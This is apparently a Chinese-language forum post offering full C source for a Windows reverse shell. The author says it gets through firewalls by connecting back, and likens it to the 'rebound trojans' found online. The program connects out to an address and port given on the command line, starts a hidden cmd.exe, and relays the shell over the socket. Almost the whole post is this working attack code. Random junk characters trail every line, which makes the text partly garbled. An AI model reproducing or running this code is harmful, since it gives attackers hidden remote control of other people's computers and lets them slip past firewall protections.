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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m6djeOl  
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/* ============================== f9;(C4+  
Rebound port in Windows NT XrPfotj1  
By wind,2006/7 F>cv<l =6l  
===============================*/ @K]|K]cby  
#include *:NQ&y*uj  
#include :lzrgsW  
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#pragma comment(lib,"wsock32.lib") JG,%qFlk  
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void OutputShell(); 9S-9.mvop  
SOCKET sClient; Q^ (b)>?r;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Yrn)VV[)h  
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void main(int argc,char **argv) HdG2X  
{ [PM4k0YC8  
WSADATA stWsaData; J")#I91  
int nRet;  ][]  
SOCKADDR_IN stSaiClient,stSaiServer; eIo7F m  
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if(argc != 3) g4@ lM"|S  
{ ``Un&-Ms  
printf("Useage:\n\rRebound DestIP DestPort\n"); L^Fy#p  
return; ; Hd7*`$  
} 1r7y]FyH$  
F3N6{ysK#  
WSAStartup(MAKEWORD(2,2),&stWsaData); d:{O\   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AvHCO8h|  
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stSaiClient.sin_family = AF_INET; pBPl6%C.X-  
stSaiClient.sin_port = htons(0); 2>H24F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )tpL#J  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o+9j?|M  
{ [=_jYzD,j|  
printf("Bind Socket Failed!\n"); 6u}</>}  
return; r)6M!_]AW  
} Z`BK/:vo3H  
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stSaiServer.sin_family = AF_INET; y|q3Wa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nJLFfXWx  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fg{n(TE"8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hiw|2Y&`  
{ pO.2<  
printf("Connect Error!"); 8h4'(yGQQW  
return; Yir [!{  
}  0{ [,E.  
OutputShell(); C{b gkzr  
} BV+ Bk+  
S/I/-Bp~  
void OutputShell() (2 a`XwR  
{ .-X8J t  
char szBuff[1024]; :U(A;U1,  
SECURITY_ATTRIBUTES stSecurityAttributes; ~| 6[j<ziL  
OSVERSIONINFO stOsversionInfo; K}U-w:{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WSY}d Vr  
STARTUPINFO stStartupInfo; P A OJ\U  
char *szShell; SC])?h-Fw  
PROCESS_INFORMATION stProcessInformation; zZC9\V}R  
unsigned long lBytesRead; V,?yPi$#E  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "2T#MO/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kn"(A .R  
stSecurityAttributes.lpSecurityDescriptor = 0; mo#04;VF  
stSecurityAttributes.bInheritHandle = TRUE; bD8Gwi=iiu  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t>B;w14  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <kd1Nrr!p  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BIWWMg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P_p<`sC9  
stStartupInfo.wShowWindow = SW_HIDE; )D82N`c2\i  
stStartupInfo.hStdInput = hReadPipe; .%C|+#&d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mS~kJy_-  
/_#q@r4ZQ  
GetVersionEx(&stOsversionInfo); 6qd\)q6T&x  
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switch(stOsversionInfo.dwPlatformId) H1(Uw:V8  
{ NS6:yX,/  
case 1: AlW66YAuQ  
szShell = "command.com"; Sa`Xf\  
break; v2;`f+  
default: ,T8~L#M~  
szShell = "cmd.exe"; !GEJIefx_  
break; e,XYVWY%  
} w~?~g<q  
xLZG:^(I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a"g!e^  
t\j*}# S  
send(sClient,szMsg,77,0); E'.7xDN  
while(1) %\Mo-Ow!\  
{ 1s@+;QUib  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3fJc 9|  
if(lBytesRead) l/ ;  
{ "4,?uPi  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ">j j  
send(sClient,szBuff,lBytesRead,0); {Wu$YWE*sx  
} yw3$2EW  
else y e? 'Ze  
{ c>~*/%+  
lBytesRead=recv(sClient,szBuff,1024,0); ,V:SN~P66+  
if(lBytesRead<=0) break; ^J8lBLqe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~Ti'FhN  
} bl(RyA gA  
} -701j'q{  
GU8sO@S5#  
return;  !V g`  
}
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